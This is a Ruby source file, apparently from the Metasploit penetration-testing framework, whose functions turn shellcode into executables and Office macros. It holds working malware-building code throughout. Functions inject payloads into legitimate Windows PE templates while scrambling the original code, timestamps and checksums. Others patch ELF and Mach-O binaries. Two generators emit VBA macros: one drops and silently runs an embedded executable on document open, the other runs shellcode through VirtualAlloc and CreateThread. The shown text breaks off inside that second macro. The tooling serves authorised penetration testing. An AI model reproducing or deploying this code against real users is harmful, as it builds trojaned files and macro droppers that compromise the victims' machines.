metasploit-framework/lib/msf/util/exe.rb

2089 lines
76 KiB
Ruby
Executable File

# -*- coding: binary -*-
module Msf
module Util
#
# The class provides methods for creating and encoding executable file
# formats for various platforms. It is a replacement for the previous
# code in Rex::Text
#
class EXE
require 'rex'
require 'rex/peparsey'
require 'rex/pescan'
require 'rex/zip'
require 'metasm'
require 'digest/sha1'
##
#
# Helper functions common to multiple generators
#
##
def self.set_template_default(opts, exe = nil, path = nil)
# If no path specified, use the default one.
path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates")
# If there's no default name, we must blow it up.
if not exe
raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called w/o default exe name!'
end
# Use defaults only if nothing is specified
opts[:template_path] ||= path
opts[:template] ||= exe
# Only use the path when the filename contains no separators.
if not opts[:template].include?(File::SEPARATOR)
opts[:template] = File.join(opts[:template_path], opts[:template])
end
# Check if it exists now
return if File.file?(opts[:template])
# If it failed, try the default...
if opts[:fallback]
default_template = File.join(path, exe)
if File.file?(default_template)
# Perhaps we should warn about falling back to the default?
opts.merge!({ :fellback => default_template })
opts[:template] = default_template
end
end
end
##
#
# Executable generators
#
##
def self.to_executable(framework, arch, plat, code='', opts={})
if (arch.index(ARCH_X86))
if (plat.index(Msf::Module::Platform::Windows))
return to_win32pe(framework, code, opts)
end
if (plat.index(Msf::Module::Platform::Linux))
return to_linux_x86_elf(framework, code)
end
if(plat.index(Msf::Module::Platform::OSX))
return to_osx_x86_macho(framework, code)
end
if(plat.index(Msf::Module::Platform::BSD))
return to_bsd_x86_elf(framework, code)
end
if(plat.index(Msf::Module::Platform::Solaris))
return to_solaris_x86_elf(framework, code)
end
# XXX: Add remaining x86 systems here
end
if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) )
if (plat.index(Msf::Module::Platform::Windows))
return to_win64pe(framework, code, opts)
end
if (plat.index(Msf::Module::Platform::Linux))
return to_linux_x64_elf(framework, code, opts)
end
if (plat.index(Msf::Module::Platform::OSX))
return to_osx_x64_macho(framework, code)
end
end
if(arch.index(ARCH_ARMLE))
if(plat.index(Msf::Module::Platform::OSX))
return to_osx_arm_macho(framework, code)
end
if(plat.index(Msf::Module::Platform::Linux))
return to_linux_armle_elf(framework, code)
end
# XXX: Add remaining ARMLE systems here
end
if(arch.index(ARCH_PPC))
if(plat.index(Msf::Module::Platform::OSX))
return to_osx_ppc_macho(framework, code)
end
# XXX: Add PPC OS X and Linux here
end
if(arch.index(ARCH_MIPSLE))
if(plat.index(Msf::Module::Platform::Linux))
return to_linux_mipsle_elf(framework, code)
end
# XXX: Add remaining MIPSLE systems here
end
if(arch.index(ARCH_MIPSBE))
if(plat.index(Msf::Module::Platform::Linux))
return to_linux_mipsbe_elf(framework, code)
end
# XXX: Add remaining MIPSLE systems here
end
nil
end
def self.to_win32pe(framework, code, opts={})
# For backward compatability, this is roughly equivalent to 'exe-small' fmt
if opts[:sub_method]
if opts[:inject]
raise RuntimeError, 'NOTE: using the substitution method means no inject support'
end
# use
return self.to_win32pe_exe_sub(framework, code, opts)
end
# Allow the user to specify their own EXE template
set_template_default(opts, "template_x86_windows.exe")
# Copy the code to a new RWX segment to allow for self-modifying encoders
payload = win32_rwx_exec(code)
# Create a new PE object and run through sanity checks
endjunk = true
fsize = File.size(opts[:template])
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
text = nil
sections_end = 0
pe.sections.each do |sec|
text = sec if sec.name == ".text"
sections_end = sec.size + sec.file_offset if sec.file_offset >= sections_end
endjunk = false if sec.contains_file_offset?(fsize-1)
end
#also check to see if there is a certificate
cert_entry = pe.hdr.opt['DataDirectory'][4]
#if the cert is the only thing past the sections, we can handle.
if cert_entry.v['VirtualAddress'] + cert_entry.v['Size'] >= fsize and sections_end >= cert_entry.v['VirtualAddress']
endjunk = false
end
#try to inject code into executable by adding a section without affecting executable behavior
if(opts[:inject])
if endjunk
raise RuntimeError, "Junk at end of file. Is this a packed exe?"
end
#find first section file offset and free RVA for new section
free_rva = pe.hdr.opt.AddressOfEntryPoint
first_off = sections_end
pe.sections.each do |sec|
first_off = sec.file_offset if sec.file_offset < first_off
free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva
end
#align free_rva
free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment
#See if we can add a section
first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader
new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER
if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off
raise RuntimeError, "Not enough room for new section header"
end
# figure out where in the new section to put the start. Right now just putting at the beginning of the new section
start_rva = free_rva
#make new section, starting at free RVA
new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva)
#pad to file alignment
new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment))
#make new section header
new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct
new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name
new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE
new_sechead.v['VirtualAddress'] = free_rva
new_sechead.v['SizeOfRawData'] = new_sec.length
new_sechead.v['PointerToRawData'] = sections_end
# Create the modified version of the input executable
exe = ''
File.open(opts[:template], 'rb') { |fd|
exe = fd.read(fd.stat.size)
}
#New file header with updated number of sections and timedatestamp
new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct
new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE])
new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1
new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000)
exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s
#new optional header with new entry point, size of image, and size of code
new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct
new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader])
new_opthead.v['AddressOfEntryPoint'] = start_rva
new_opthead.v['SizeOfImage'] = free_rva + new_sec.length
new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s
#kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8
#kill certificate; if it exists, we just invalidated it
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8
#new section header and new section
exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s
exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec
exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1)
cks = pe.hdr.opt.CheckSum
if(cks != 0)
exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
end
pe.close
return exe
end
if(not text)
raise RuntimeError, "No .text section found in the template"
end
if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
raise RuntimeError, "The .text section does not contain an entry point"
end
p_length = payload.length + 256
if(text.size < p_length)
fname = ::File.basename(opts[:template])
msg = "The .text section for '#{fname}' is too small. "
msg << "Minimum is #{p_length.to_s} bytes, your .text section is #{text.size.to_s} bytes"
raise RuntimeError, msg
end
# Store some useful offsets
off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
off_beg = pe.rva_to_file_offset(text.base_rva)
# We need to make sure our injected code doesn't conflict with the
# the data directories stored in .text (import, export, etc)
mines = []
pe.hdr.opt['DataDirectory'].each do |dir|
next if dir.v['Size'] == 0
next if not text.contains_rva?( dir.v['VirtualAddress'] )
mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg, dir.v['Size'] ]
end
# Break the text segment into contiguous blocks
blocks = []
bidx = 0
mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
bbeg = bidx
bend = mine[0]
if(bbeg != bend)
blocks << [bidx, bend-bidx]
end
bidx = mine[0] + mine[1]
end
# Add the ending block
if(bidx < text.size - 1)
blocks << [bidx, text.size - bidx]
end
# Find the largest contiguous block
blocks.sort!{|a,b| b[1]<=>a[1]}
block = blocks[0]
# TODO: Allow the entry point in a different block
if(payload.length + 256 > block[1])
raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})"
end
# Make a copy of the entire .text section
data = text.read(0,text.size)
# Pick a random offset to store the payload
poff = rand(block[1] - payload.length - 256)
# Flip a coin to determine if EP is before or after
eloc = rand(2)
eidx = nil
# Pad the entry point with random nops
entry = generate_nops(framework, [ARCH_X86], rand(200)+51)
# Pick an offset to store the new entry point
if(eloc == 0) # place the entry point before the payload
poff += 256
eidx = rand(poff-(entry.length + 5))
else # place the entry pointer after the payload
poff -= 256
eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
end
# Relative jump from the end of the nops to the payload
entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')
# Mangle 25% of the original executable
1.upto(block[1] / 4) do
data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
end
# Patch the payload and the new entry point into the .text
data[block[0] + poff, payload.length] = payload
data[block[0] + eidx, entry.length] = entry
# Create the modified version of the input executable
exe = ''
File.open(opts[:template], 'rb') { |fd|
exe = fd.read(fd.stat.size)
}
exe[ exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = [ text.base_rva + block[0] + eidx ].pack("V")
exe[off_beg, data.length] = data
tds = pe.hdr.file.TimeDateStamp
exe[ exe.index([ tds ].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")
cks = pe.hdr.opt.CheckSum
if(cks != 0)
exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
end
pe.close
exe
end
def self.to_winpe_only(framework, code, opts={}, arch="x86")
# Allow the user to specify their own EXE template
set_template_default(opts, "template_"+arch+"_windows.exe")
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
exe = ''
File.open(opts[:template], 'rb') { |fd|
exe = fd.read(fd.stat.size)
}
sections_header = []
pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] }
#look for section with entry point
sections_header.each do |sec|
virtualAddress = sec[1][0xc,0x4].unpack('L')[0]
sizeOfRawData = sec[1][0x10,0x4].unpack('L')[0]
characteristics = sec[1][0x24,0x4].unpack('L')[0]
if pe.hdr.opt.AddressOfEntryPoint >= virtualAddress && pe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData
#put this section writable
characteristics|=0x80000000
newcharacteristics = [characteristics].pack('L')
exe[sec[0],newcharacteristics.length]=newcharacteristics
end
end
#put the shellcode at the entry point, overwriting template
exe[pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint),code.length]=code
return exe
end
def self.to_win32pe_old(framework, code, opts={})
payload = code.dup
# Allow the user to specify their own EXE template
set_template_default(opts, "template_x86_windows_old.exe")
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
if(payload.length < 2048)
payload << Rex::Text.rand_text(2048-payload.length)
end
if(payload.length > 2048)
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
end
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, payload.length] = payload
pe[136, 4] = [rand(0x100000000)].pack('V')
ci = pe.index("\x31\xc9" * 160)
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\"" if not ci
cd = pe.index("\x31\xc9" * 160, ci + 320)
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\"" if not cd
rc = pe[ci+320, cd-ci-320]
# 640 + rc.length bytes of room to store an encoded rc at offset ci
enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
lft = 640+rc.length - enc.length
buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
pe[ci, buf.length] = buf
# Make the data section executable
xi = pe.index([0xc0300040].pack('V'))
pe[xi,4] = [0xe0300020].pack('V')
# Add a couple random bytes for fun
pe << Rex::Text.rand_text(rand(64)+4)
return pe
end
def self.to_win32pe_exe_sub(framework, code, opts={})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows.exe")
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, 8192] = [code].pack("a8192")
return pe
end
def self.to_win64pe(framework, code, opts={})
# Allow the user to specify their own EXE template
set_template_default(opts, "template_x64_windows.exe")
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, code.length] = code
return pe
end
def self.to_win32pe_service(framework, code, opts={})
name = opts[:servicename]
# Allow the user to specify their own service EXE template
set_template_default(opts, "template_x86_windows_svc.exe")
pe = ''
File.open(opts[:template], 'rb') { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, 8192] = [code].pack("a8192")
if name
bo = pe.index('SERVICENAME')
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
pe[bo, 11] = [name].pack('a11')
end
if not opts[:sub_method]
pe[136, 4] = [rand(0x100000000)].pack('V')
end
return pe
end
def self.to_win64pe_service(framework, code, opts={})
name = opts[:servicename]
# Allow the user to specify their own service EXE template
set_template_default(opts, "template_x64_windows_svc.exe")
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, 8192] = [code].pack("a8192")
if name
bo = pe.index('SERVICENAME')
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
pe[bo, 11] = [name].pack('a11')
end
if not opts[:sub_method]
pe[136, 4] = [rand(0x100000000)].pack('V')
end
return pe
end
def self.to_win32pe_dll(framework, code, opts={})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows.dll")
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, 8192] = [code].pack("a8192")
# optional mutex
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
return pe
end
def self.to_win64pe_dll(framework, code, opts={})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x64_windows.dll")
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
pe[bo, 8192] = [code].pack("a8192")
# optional mutex
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
return pe
end
def self.to_osx_arm_macho(framework, code, opts={})
# Allow the user to specify their own template
set_template_default(opts, "template_armle_darwin.bin")
mo = ''
File.open(opts[:template], "rb") { |fd|
mo = fd.read(fd.stat.size)
}
bo = mo.index('PAYLOAD:')
raise RuntimeError, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag" if not bo
mo[bo, code.length] = code
return mo
end
def self.to_osx_ppc_macho(framework, code, opts={})
# Allow the user to specify their own template
set_template_default(opts, "template_ppc_darwin.bin")
mo = ''
File.open(opts[:template], "rb") { |fd|
mo = fd.read(fd.stat.size)
}
bo = mo.index('PAYLOAD:')
raise RuntimeError, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag" if not bo
mo[bo, code.length] = code
return mo
end
def self.to_osx_x86_macho(framework, code, opts={})
# Allow the user to specify their own template
set_template_default(opts, "template_x86_darwin.bin")
mo = ''
File.open(opts[:template], "rb") { |fd|
mo = fd.read(fd.stat.size)
}
bo = mo.index('PAYLOAD:')
raise RuntimeError, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag" if not bo
mo[bo, code.length] = code
return mo
end
def self.to_osx_x64_macho(framework, code, opts={})
set_template_default(opts, "template_x64_darwin.bin")
macho = ''
File.open(opts[:template], 'rb') { |fd|
macho = fd.read(fd.stat.size)
}
bin = macho.index('PAYLOAD:')
raise RuntimeError, "Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag" if not bin
macho[bin, code.length] = code
return macho
end
# Create an ELF executable containing the payload provided in +code+
#
# For the default template, this method just appends the payload, checks if
# the template is 32 or 64 bit and adjusts the offsets accordingly
# For user-provided templates, modifies the header to mark all executable
# segments as writable and overwrites the entrypoint (usually _start) with
# the payload.
#
def self.to_exe_elf(framework, opts, template, code, big_endian=false)
# Allow the user to specify their own template
set_template_default(opts, template)
# The old way to do it is like other formats, just overwrite a big
# block of rwx mem with our shellcode.
#bo = elf.index( "\x90\x90\x90\x90" * 1024 )
#co = elf.index( " " * 512 )
#elf[bo, 2048] = [code].pack('a2048') if bo
# The new template is just an ELF header with its entry point set to
# the end of the file, so just append shellcode to it and fixup
# p_filesz and p_memsz in the header for a working ELF executable.
elf = ''
File.open(opts[:template], "rb") { |fd|
elf = fd.read(fd.stat.size)
}
elf << code
# Check EI_CLASS to determine if the header is 32 or 64 bit
# Use the proper offsets and pack size
case elf[4]
when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9)
if big_endian
elf[0x44,4] = [elf.length].pack('N') #p_filesz
elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
else # little endian
elf[0x44,4] = [elf.length].pack('V') #p_filesz
elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
end
when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9)
if big_endian
elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
else # little endian
elf[0x60,8] = [elf.length].pack('Q') #p_filesz
elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz
end
else
raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
end
return elf
end
# Create a 32-bit Linux ELF containing the payload provided in +code+
def self.to_linux_x86_elf(framework, code, opts={})
unless opts[:template]
default = true
end
if default
elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code)
else
# If this isn't our normal template, we have to do some fancy
# header patching to mark the .text section rwx before putting our
# payload into the entry point.
# read in the template and parse it
e = Metasm::ELF.decode_file(opts[:template])
# This will become a modified copy of the template's original phdr
new_phdr = Metasm::EncodedData.new
e.segments.each { |s|
# Be lazy and mark any executable segment as writable. Doing
# it this way means we don't have to care about which one
# contains .text
if s.flags.include? "X"
s.flags += [ "W" ]
end
new_phdr << s.encode(e)
}
# Copy the original file
elf = File.open(opts[:template], "rb") {|fd| fd.read(fd.stat.size) }
# Replace the header with our rwx modified version
elf[e.header.phoff, new_phdr.data.length] = new_phdr.data
# Replace code at the entrypoint with our payload
entry_off = e.addr_to_off(e.label_addr('entrypoint'))
elf[entry_off, code.length] = code
end
return elf
end
# Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+
def self.to_bsd_x86_elf(framework, code, opts={})
elf = to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
return elf
end
# Create a 32-bit Solaris ELF containing the payload provided in +code+
def self.to_solaris_x86_elf(framework, code, opts={})
elf = to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
return elf
end
# Create a 64-bit Linux ELF containing the payload provided in +code+
def self.to_linux_x64_elf(framework, code, opts={})
elf = to_exe_elf(framework, opts, "template_x64_linux.bin", code)
return elf
end
def self.to_linux_armle_elf(framework, code, opts={})
elf = to_exe_elf(framework, opts, "template_armle_linux.bin", code)
return elf
end
def self.to_linux_mipsle_elf(framework, code, opts={})
elf = to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
return elf
end
def self.to_linux_mipsbe_elf(framework, code, opts={})
elf = to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true)
return elf
end
def self.to_exe_vba(exes='')
exe = exes.unpack('C*')
vba = ""
idx = 0
maxbytes = 2000
var_magic = Rex::Text.rand_text_alpha(10).capitalize
var_base = Rex::Text.rand_text_alpha(5).capitalize
var_base_idx = 0
# First write the macro into the vba file
var_fname = var_base + (var_base_idx+=1).to_s
var_fenvi = var_base + (var_base_idx+=1).to_s
var_fhand = var_base + (var_base_idx+=1).to_s
var_parag = var_base + (var_base_idx+=1).to_s
var_itemp = var_base + (var_base_idx+=1).to_s
var_btemp = var_base + (var_base_idx+=1).to_s
var_appnr = var_base + (var_base_idx+=1).to_s
var_index = var_base + (var_base_idx+=1).to_s
var_gotmagic = var_base + (var_base_idx+=1).to_s
var_farg = var_base + (var_base_idx+=1).to_s
var_stemp = var_base + (var_base_idx+=1).to_s
# Function 1 extracts the binary
func_name1 = var_base + (var_base_idx+=1).to_s
# Function 2 executes the binary
func_name2 = var_base + (var_base_idx+=1).to_s
vba << "'**************************************************************\r\n"
vba << "'*\r\n"
vba << "'* This code is now split into two pieces:\r\n"
vba << "'* 1. The Macro. This must be copied into the Office document\r\n"
vba << "'* macro editor. This macro will run on startup.\r\n"
vba << "'*\r\n"
vba << "'* 2. The Data. The hex dump at the end of this output must be\r\n"
vba << "'* appended to the end of the document contents.\r\n"
vba << "'*\r\n"
vba << "'**************************************************************\r\n"
vba << "'*\r\n"
vba << "'* MACRO CODE\r\n"
vba << "'*\r\n"
vba << "'**************************************************************\r\n"
# The wrapper makes it easier to integrate it into other macros
vba << "Sub Auto_Open()\r\n"
vba << "\t#{func_name1}\r\n"
vba << "End Sub\r\n"
vba << "Sub #{func_name1}()\r\n"
vba << "\tDim #{var_appnr} As Integer\r\n"
vba << "\tDim #{var_fname} As String\r\n"
vba << "\tDim #{var_fenvi} As String\r\n"
vba << "\tDim #{var_fhand} As Integer\r\n"
vba << "\tDim #{var_parag} As Paragraph\r\n"
vba << "\tDim #{var_index} As Integer\r\n"
vba << "\tDim #{var_gotmagic} As Boolean\r\n"
vba << "\tDim #{var_itemp} As Integer\r\n"
vba << "\tDim #{var_stemp} As String\r\n"
vba << "\tDim #{var_btemp} As Byte\r\n"
vba << "\tDim #{var_magic} as String\r\n"
vba << "\t#{var_magic} = \"#{var_magic}\"\r\n"
vba << "\t#{var_fname} = \"#{Rex::Text.rand_text_alpha(rand(8)+8)}.exe\"\r\n"
vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n"
vba << "\tChDrive (#{var_fenvi})\r\n"
vba << "\tChDir (#{var_fenvi})\r\n"
vba << "\t#{var_fhand} = FreeFile()\r\n"
vba << "\tOpen #{var_fname} For Binary As #{var_fhand}\r\n"
vba << "\tFor Each #{var_parag} in ActiveDocument.Paragraphs\r\n"
vba << "\t\tDoEvents\r\n"
vba << "\t\t\t#{var_stemp} = #{var_parag}.Range.Text\r\n"
vba << "\t\tIf (#{var_gotmagic} = True) Then\r\n"
vba << "\t\t\t#{var_index} = 1\r\n"
vba << "\t\t\tWhile (#{var_index} < Len(#{var_stemp}))\r\n"
vba << "\t\t\t\t#{var_btemp} = Mid(#{var_stemp},#{var_index},4)\r\n"
vba << "\t\t\t\tPut ##{var_fhand}, , #{var_btemp}\r\n"
vba << "\t\t\t\t#{var_index} = #{var_index} + 4\r\n"
vba << "\t\t\tWend\r\n"
vba << "\t\tElseIf (InStr(1,#{var_stemp},#{var_magic}) > 0 And Len(#{var_stemp}) > 0) Then\r\n"
vba << "\t\t\t#{var_gotmagic} = True\r\n"
vba << "\t\tEnd If\r\n"
vba << "\tNext\r\n"
vba << "\tClose ##{var_fhand}\r\n"
vba << "\t#{func_name2}(#{var_fname})\r\n"
vba << "End Sub\r\n"
vba << "Sub #{func_name2}(#{var_farg} As String)\r\n"
vba << "\tDim #{var_appnr} As Integer\r\n"
vba << "\tDim #{var_fenvi} As String\r\n"
vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n"
vba << "\tChDrive (#{var_fenvi})\r\n"
vba << "\tChDir (#{var_fenvi})\r\n"
vba << "\t#{var_appnr} = Shell(#{var_farg}, vbHide)\r\n"
vba << "End Sub\r\n"
vba << "Sub AutoOpen()\r\n"
vba << "\tAuto_Open\r\n"
vba << "End Sub\r\n"
vba << "Sub Workbook_Open()\r\n"
vba << "\tAuto_Open\r\n"
vba << "End Sub\r\n"
vba << "'**************************************************************\r\n"
vba << "'*\r\n"
vba << "'* PAYLOAD DATA\r\n"
vba << "'*\r\n"
vba << "'**************************************************************\r\n\r\n\r\n"
vba << "#{var_magic}\r\n"
# Writing the bytes of the exe to the file
1.upto(exe.length) do |pc|
while(c = exe[idx])
vba << "&H#{("%.2x" % c).upcase}"
if (idx > 1 and (idx % maxbytes) == 0)
# When maxbytes are written make a new paragrpah
vba << "\r\n"
end
idx += 1
end
end
return vba
end
def self.to_vba(framework,code,opts={})
var_myByte = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_myArray = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_rwxpage = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_res = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_offset = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpThreadAttributes = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_dwStackSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
# put the shellcode bytes into an array
bytes = ''
maxbytes = 20
codebytes = code.unpack('C*')
1.upto(codebytes.length) do |idx|
bytes << codebytes[idx].to_s
bytes << "," if idx < codebytes.length - 1
bytes << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0)
end
"#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As LongPtr, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As LongPtr, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As Long, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As Long
Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As Long
Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As Long, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As Long
#EndIf
Sub Auto_Open()
Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long
#If Vba7 Then
Dim #{var_rwxpage} As LongPtr, #{var_res} As LongPtr
#Else
Dim #{var_rwxpage} As Long, #{var_res} As Long
#EndIf
#{var_myArray} = Array(#{bytes})
#{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40)
